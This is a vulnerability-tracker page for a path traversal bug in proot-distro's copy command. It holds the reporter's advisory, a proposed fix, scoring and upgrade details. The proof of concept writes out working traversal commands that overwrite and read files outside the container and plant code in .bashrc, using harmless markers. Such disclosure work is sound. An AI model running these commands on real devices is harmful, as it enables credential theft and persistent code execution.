GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
Noroxi assessment
Priority: Monitor (action score 26/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Someone with local access to the system can trigger it. A low-privileged account is enough. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- Fixed version: proot-distro (PyPI) 5.1.0.
Low priority for now. Upgrade to proot-distro (PyPI) 5.1.0 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2> Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 <hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" > ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt proot-distro copy \ ~/poc/evil.txt \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" > ~/poc/secret.txt proot-distro copy \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/read_result.txt </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh proot-distro copy ~/poc/payload.sh \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED > ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>
- Published
- Jul 17, 2026
- Updated
- Jul 17, 2026
- EPSS
- —
- CWE
- CWE-22
Report tools
Action score
26
Low priority for now.
- CVSS
- 26 / 40 · 6.6 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | proot-distro | pkg:pypi/proot-distro |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | proot-distro | before 5.1.0 | 5.1.0 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:proot-distro | 5.1.0 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Someone with local access to the system can trigger it.
- A low-privileged account is enough.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- none
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- None
Weakness class (CWE)
CWE-22 · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
osv
Root cause
A user-supplied file name is joined with the allowed directory, but the result is never checked to confirm it is still inside that directory.
The bug in code
The whole CWE-22 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const file = path.join(ROOT, req.query.name);
res.sendFile(file);Fixed
const file = path.resolve(ROOT, req.query.name);
if (!file.startsWith(ROOT + path.sep)) {
return res.sendStatus(400);
}
res.sendFile(file);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Path TraversalCAPEC-126likelihood: High · Very High
- Using Slashes and URL Encoding Combined to Bypass Validation LogicCAPEC-64likelihood: High · High
- Manipulating Web Input to File System CallsCAPEC-76likelihood: High · Very High
- Using Escaped Slashes in Alternate EncodingCAPEC-78likelihood: High · High
- Using Slashes in Alternate EncodingCAPEC-79likelihood: High · High
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.